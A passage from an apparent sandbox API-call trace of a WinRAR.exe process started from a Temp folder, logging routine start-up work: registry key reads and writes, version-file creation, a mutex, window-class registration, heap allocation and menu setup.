(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.138] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e7e2250) [0058.138] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0058.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0058.138] GetLastError () returned 0x2 [0058.138] SetLastError (dwErrCode=0x2) [0058.138] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fbed0 | out: phkResult=0x141a0fbed0*=0x0) returned 0x2 [0058.139] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fcaf0 | out: phkResult=0x141a0fcaf0*=0x0) returned 0x2 [0058.139] SHGetMalloc (in: ppMalloc=0x141a0fca90 | out: ppMalloc=0x141a0fca90*=0x7ff92fcdf3f0) returned 0x0 [0058.139] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0fcad8 | out: ppidl=0x141a0fcad8) returned 0x0 [0058.139] SHGetPathFromIDListW (in: pidl=0x1162e7e2250, pszPath=0x141a0fdc10 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.141] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.141] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e7e2250) [0058.141] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x141a0fbaf0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0058.141] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f9958 | out: phkResult=0x141a0f9958*=0x0) returned 0x2 [0058.141] GetVersionExW (in: lpVersionInformation=0x141a0fb9d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1d4e806, dwMinorVersion=0x99f8a962, dwBuildNumber=0x1d4e806, dwPlatformId=0x10, szCSDVersion="") | out: lpVersionInformation=0x141a0fb9d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0058.141] LoadLibraryExW (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarlng.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0058.141] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f9a88 | out: phkResult=0x141a0f9a88*=0x0) returned 0x2 [0058.141] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x141a0f8a90, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0058.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.141] GetLastError () returned 0x2 [0058.141] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.141] GetLastError () returned 0x2 [0058.141] FindResourceW (hModule=0x7ff6f74d0000, lpName="RTL", lpType=0x5) returned 0x0 [0058.142] LoadIconW (hInstance=0x7ff6f74d0000, lpIconName=0x65) returned 0x10253 [0058.143] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0058.143] RegisterClassW (lpWndClass=0x141a0fcb90) returned 0xc183 [0058.143] RegisterClassW (lpWndClass=0x141a0fcb90) returned 0xc184 [0058.143] RegisterClassW (lpWndClass=0x141a0fcb90) returned 0xc185 [0058.143] RegisterClassW (lpWndClass=0x141a0fcb90) returned 0xc186 [0058.143] RegisterClassW (lpWndClass=0x141a0fcb90) returned 0xc187 [0058.144] GetSystemDirectoryW (in: lpBuffer=0x141a0fbab0, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0058.144] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\riched20.dll") returned 0x7ff912450000 [0058.149] OleInitialize (pvReserved=0x0) returned 0x0 [0058.151] InitCommonControlsEx (picce=0x141a0fcb20) returned 1 [0058.152] GdiplusStartup (in: token=0x141a0fcb28, input=0x141a0fcaf0, output=0x0 | out: token=0x141a0fcb28, output=0x0) returned 0x0 [0058.154] SHGetMalloc (in: ppMalloc=0x7ff6f767aa30 | out: ppMalloc=0x7ff6f767aa30*=0x7ff92fcdf3f0) returned 0x0 [0058.154] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa468) returned 0x1162e7fc7d0 [0058.155] GetCurrentProcess () returned 0xffffffffffffffff [0058.155] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0fc9d0, lpSystemAffinityMask=0x141a0fc9d8 | out: lpProcessAffinityMask=0x141a0fc9d0, lpSystemAffinityMask=0x141a0fc9d8) returned 1 [0058.155] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xc0) returned 0x1162e7e9fc0 [0058.155] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x2058) returned 0x1162e806c40 [0058.155] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xd110) returned 0x1162e808ca0 [0058.156] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000) returned 0x1162e815dc0 [0058.156] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4060) returned 0x1162e819dd0 [0058.157] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa758) returned 0x1162e81de40 [0058.157] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa0f0) returned 0x1162e8285a0 [0058.157] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x5080) returned 0x1162e8326a0 [0058.158] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x2c20) returned 0x1162e837730 [0058.158] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20a0) returned 0x1162e83a360 [0058.158] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000) returned 0x1162e83c410 [0058.158] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8560) returned 0x1162e840420 [0058.159] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000) returned 0x1162e848990 [0058.159] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4ec0) returned 0x1162e84c9a0 [0058.159] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x28) returned 0x1162e7f92d0 [0058.159] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x2190) returned 0x1162e851870 [0058.159] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000) returned 0x1162e853a10 [0058.160] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6a258) returned 0x11630190080 [0058.161] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000) returned 0x1162e857a20 [0058.162] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20a0) returned 0x1162e85ba30 [0058.162] GetLastError () returned 0x0 [0058.162] SetLastError (dwErrCode=0x0) [0058.162] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fbe90 | out: phkResult=0x141a0fbe90*=0x1f0) returned 0x0 [0058.162] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x141a0fbaf4 | out: lpSystemTimeAsFileTime=0x141a0fbaf4*(dwLowDateTime=0x9a49bb21, dwHighDateTime=0x1d4e806)) [0058.162] GetLastError () returned 0x0 [0058.162] SetLastError (dwErrCode=0x0) [0058.162] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fad90 | out: phkResult=0x141a0fad90*=0x0) returned 0x2 [0058.162] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fba70 | out: phkResult=0x141a0fba70*=0x0) returned 0x2 [0058.162] SHGetMalloc (in: ppMalloc=0x141a0fba10 | out: ppMalloc=0x141a0fba10*=0x7ff92fcdf3f0) returned 0x0 [0058.162] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0fba58 | out: ppidl=0x141a0fba58) returned 0x0 [0058.162] SHGetPathFromIDListW (in: pidl=0x1162e7f3ab0, pszPath=0x141a0fbb00 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.163] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.163] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e7f3ab0) [0058.163] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x58) returned 0x1162e7d1180 [0058.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x141a0fb8e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.163] GetLastError () returned 0x2 [0058.163] GetLastError () returned 0x2 [0058.163] SetLastError (dwErrCode=0x2) [0058.163] GetLastError () returned 0x2 [0058.163] SetLastError (dwErrCode=0x2) [0058.163] GetLastError () returned 0x2 [0058.163] SetLastError (dwErrCode=0x2) [0058.163] GetLastError () returned 0x2 [0058.164] SetLastError (dwErrCode=0x2) [0058.164] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x141a0fb5d8, lpdwDisposition=0x141a0fb5d0 | out: phkResult=0x141a0fb5d8*=0x1f0, lpdwDisposition=0x141a0fb5d0*=0x1) returned 0x0 [0058.164] RegSetValueExW (in: hKey=0x1f0, lpValueName="VerInfo", Reserved=0x0, dwType=0x3, lpData=0x141a0fbaf0*, cbData=0xc | out: lpData=0x141a0fbaf0*) returned 0x0 [0058.164] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.164] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x141a0fb8e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f8 [0058.165] GetFileType (hFile=0x1f8) returned 0x1 [0058.165] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x116301fa2e0 [0058.165] WriteFile (in: hFile=0x1f8, lpBuffer=0x116301fa2e0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x141a0fb954, lpOverlapped=0x0 | out: lpBuffer=0x116301fa2e0*, lpNumberOfBytesWritten=0x141a0fb954*=0xc, lpOverlapped=0x0) returned 1 [0058.166] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116301fa2e0 | out: hHeap=0x1162e7c0000) returned 1 [0058.166] CloseHandle (hObject=0x1f8) returned 1 [0058.166] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="WinRAR_Busy") returned 0x1f8 [0058.166] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x0 [0058.167] CreateWindowExW (dwExStyle=0x10, lpClassName="WinRarWindow", lpWindowName="WinRAR", dwStyle=0x6cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x1023e [0058.171] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08a [0058.171] NtdllDefWindowProc_W () returned 0x0 [0058.171] NtdllDefWindowProc_W () returned 0x1 [0058.175] NtdllDefWindowProc_W () returned 0x0 [0058.179] LoadMenuW (hInstance=0x7ff6f74d0000, lpMenuName="MAIN_MENU") returned 0x10257 [0058.182] GetMenuItemInfoW (in: hmenu=0x10257, item=0x0, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 1 [0058.182] SetMenuItemInfoW (hmenu=0x10257, item=0x0, fByPositon=1, lpmii=0x141a0f9b30) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x0, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x0, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x1, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x1, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x2, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x2, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x1025b, item=0x0, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x1025b, item=0x1, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 0 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x3, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x3, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x4, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x5, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x5, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x6, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x6, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x7, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x7, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x8, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0x9, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0x9, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0xa, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0xa, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0xb, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0xb, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0xc, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] SetMenuItemInfoW (hmenu=0x10259, item=0xc, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0xd, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.183] GetMenuItemInfoW (in: hmenu=0x10259, item=0xe, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x10259, item=0xe, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x10259, item=0xf, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 0 [0058.184] GetMenuItemInfoW (in: hmenu=0x10257, item=0x1, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x10257, item=0x1, fByPositon=1, lpmii=0x141a0f9b30) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x0, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x0, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x1, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x1, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x2, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x2, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x3, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x4, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x4, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x5, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x5, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x6, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x6, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x7, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x7, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x8, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0x9, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0x9, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0xa, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0xa, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0xb, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0xb, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0xc, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.184] SetMenuItemInfoW (hmenu=0x1025d, item=0xc, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.184] GetMenuItemInfoW (in: hmenu=0x1025d, item=0xd, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 0 [0058.184] GetMenuItemInfoW (in: hmenu=0x10257, item=0x2, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x10257, item=0x2, fByPositon=1, lpmii=0x141a0f9b30) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x0, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x0, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x1, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x2, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x2, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x3, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x3, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x4, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x4, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x5, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x5, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x6, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x7, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x7, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x8, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x8, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0x9, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0x9, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0xa, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x1025f, item=0xa, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x1025f, item=0xb, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 0 [0058.185] GetMenuItemInfoW (in: hmenu=0x10257, item=0x3, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x10257, item=0x3, fByPositon=1, lpmii=0x141a0f9b30) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x10261, item=0x0, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x10261, item=0x0, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x10261, item=0x1, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] SetMenuItemInfoW (hmenu=0x10261, item=0x1, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x10261, item=0x2, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.185] GetMenuItemInfoW (in: hmenu=0x10261, item=0x3, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 0 [0058.185] GetMenuItemInfoW (in: hmenu=0x10257, item=0x4, fByPosition=1, lpmii=0x141a0f9b30 | out: lpmii=0x141a0f9b30) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10257, item=0x4, fByPositon=1, lpmii=0x141a0f9b30) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10263, item=0x0, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10263, item=0x0, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10263, item=0x1, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10263, item=0x1, fByPositon=1, lpmii=0x141a0f8870) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10265, item=0x0, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10265, item=0x0, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10265, item=0x1, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10265, item=0x1, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10265, item=0x2, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10265, item=0x3, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 1 [0058.186] SetMenuItemInfoW (hmenu=0x10265, item=0x3, fByPositon=1, lpmii=0x141a0f75b0) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10265, item=0x4, fByPosition=1, lpmii=0x141a0f75b0 | out: lpmii=0x141a0f75b0) returned 0 [0058.186] GetMenuItemInfoW (in: hmenu=0x10263, item=0x2, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.186] GetMenuItemInfoW (in: hmenu=0x10263, item=0x3, fByPosition=1, lpmii=0x141a0f8870 | out: lpmii=0x141a0f8870) returned 1 [0058.186] 